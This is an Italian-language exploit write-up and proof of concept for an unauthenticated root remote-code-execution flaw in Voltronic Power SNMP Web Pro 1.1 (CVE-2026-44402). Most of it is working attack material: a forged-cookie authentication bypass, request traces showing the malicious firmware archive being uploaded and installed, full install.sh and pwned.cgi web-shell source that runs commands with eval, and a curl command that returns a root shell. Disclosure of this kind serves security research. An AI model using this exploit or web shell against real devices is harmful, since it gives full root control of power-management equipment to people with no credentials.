
Esecuzione remota di comandi come root completo senza autenticazione in Voltronic Power SNMP Web Pro 1.1
Esecuzione Remota Completa di Comandi senza autenticazione in Voltronic Power SNMP Web Pro 1.1
SNMP Web Pro 1.1 contiene una vulnerabilità di esecuzione remota di codice non autenticata nell'endpoint upload.cgi. La funzionalità di aggiornamento del firmware consente agli utenti di caricare un archivio tar, che viene poi estratto e installato senza alcuna validazione dell'input o controllo di sicurezza. L'applicazione non riesce a limitare o sanificare il contenuto dell'archivio, quindi un attaccante può caricare un archivio appositamente modificato contenente script CGI dannosi. Con un po' di tentativi ed errori - e molto aiuto dalle informazioni che ogni risposta divulga - è possibile ricostruire il formato esatto di archivio previsto e crearne uno dannoso.
Inoltre, l'endpoint non valida correttamente l'autenticazione: fornire un cookie di sessione manipolato o non valido è sufficiente per aggirare i controlli di accesso e raggiungere la funzionalità vulnerabile senza credenziali valide, anche se il front-end richiede chiaramente un login per utilizzarla.
Lo sfruttamento riuscito consente a un attaccante di inserire file eseguibili arbitrari nella directory del server CGI ed eseguire comandi con privilegi di root.
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
Tutto quanto segue è stato eseguito contro un'istanza locale (http://localhost:5555). Due cose rendono banale l'intero esercizio fin dall'inizio:
Cookie: -http-session-=NOT_VALID è tutto ciò di cui abbiamo bisogno per ogni richiesta - il parametro di query sid è un valore casuale generato dal JavaScript del front-end e viene altrettanto ignorato dal server.I passaggi seguenti seguono questo ciclo. Le richieste sono ridotte agli header minimi a cui il server presta realmente attenzione.
La primissima richiesta ci dice già dove il server si aspetta che si trovi l'archivio del firmware. Nota che params=extract chiede al CGI di estrarre un archivio, non di riceverne uno: non è stato ancora caricato nulla, l'endpoint cerca semplicemente di decomprimere ciò che si aspetta di trovare su disco.
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
Risposta:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
Il corpo è oro puro. Oltre al (NAK (riconoscimento negativo) che ci informa del fallimento dell'operazione, l'output grezzo del binario tar è incorporato integralmente nella risposta: sta tentando di estrarre /root/upgrade.tar.gz. Nota anche il percorso di installazione /root - stiamo parlando con un processo privilegiato.
Due fatti per il piano di sfruttamento:
upgrade.tar.gz e depositato in /root. Il nome del nostro file non ha importanza.Per prima cosa, crea un archivio tar fittizio (il caricamento è una POST multipart; la sua traccia non è interessante - sono le chiamate GET a determinare tutto il comportamento):
tar czvf test.tar.gz test.txt
test.txt
Avvia il ciclo: carica l'archivio, quindi estrailo:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK - l'estrazione è andata a buon fine senza lamentele. Il ciclo (carica -> estrai -> installa) è la struttura dell'intero exploit; d'ora in poi cambia solo il passo di installazione, quindi le prossime tracce mostrano solo la riga di richiesta e il corpo della risposta (gli header restano identici a quelli precedenti).
upgradeL'estrazione funziona, è ora di installare. La risposta, come previsto, è diversa:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
Ancora (ACK, ma i residui di un comando shell trapelano: cd: line 1: can't cd to /root/upgrade*. L'installer esegue shell arbitraria - tenta di fare cd in un glob che si espande in una cartella chiamata upgrade all'interno dell'archivio estratto. Il nostro innocuo archivio piatto (test.txt alla radice) non soddisfa il glob. Soluzione facile: ricrea il pacchetto con una directory upgrade/ di primo livello.
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
Poi ripeti i primi due passi del ciclo: ricarica l'archivio, estrailo di nuovo.
install.shDi nuovo la stessa chiamata di installazione, e la fuga di informazioni è ancora migliore:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory
Esegue chmod su uno script chiamato install.sh - il che significa che la procedura di installazione esegue uno script shell dall'archivio, come root. A questo punto controlliamo ogni file dell'archivio, quindi controlliamo quello script. Questa è l'intera vulnerabilità in una riga: file arbitrari, eseguiti con privilegi di root, senza autenticazione.
Crea install.sh e pwned.cgi all'interno della directory upgrade/ (entrambi i file sono inclusi anche nella cartella upgrade/ di questo repository).
install.sh prepara la disposizione fisica dei file in modo che il nostro script venga depositato nella directory CGI della web root, poi sistema i permessi:
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)
# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt
# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi
# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi
pwned.cgi è un CGI minimale che fa da dispatcher di comandi: prende il parametro di query cmd, lo decodifica dall'URL e lo passa a eval. Questa è la shell remota:
cat upgrade/pwned.cgi
#!/bin/sh
echo "Content-Type: text/plain"
echo ""
# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"
# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')
# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')
if [ -z "$CMD" ]; then
echo "No cmd parameter provided."
exit 0
fi
# Execute the command and return its output
eval "$CMD" 2>&1
Ricrea il pacchetto dell'archivio:
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi
Ed esegui il ciclo completo un'ultima volta:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=install
(ACK
Un (ACK pulito, questa volta senza errori trapelati: l'installer ha eseguito il nostro script senza lamentarsi e pwned.cgi dovrebbe ora trovarsi nella directory CGI. Un semplice whoami lo conferma (racchiudi l'URL tra virgolette - ; è un separatore della shell e il parser CGI va in errore):
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux
Root, sulla Linux ARM del dispositivo. Da zero credenziali a una shell root: l'intero percorso ha richiesto solo le due fughe di informazioni sopra descritte e un archivio tar.

No, il vendor non ha ancora fornito una risposta. Usa un reverse proxy ngnix con autenticazione per proteggere il target.
poc.py automatizza il ciclo manuale 1:1. create_in_memory_tar_archive() costruisce l'archivio del Passo 5 in memoria (install.sh + una variante di pwned.cgi basata su POST), poi upload_archive(), extract_firmware() e install_firmware() ripercorrono i Passi 2-4, verify_exploit_uploaded() attende che il CGI compaia e spawn_non_interactive_shell() ti porta a un prompt >>> i cui comandi vengono codificati in base64 e inviati via POST a pwned.cgi.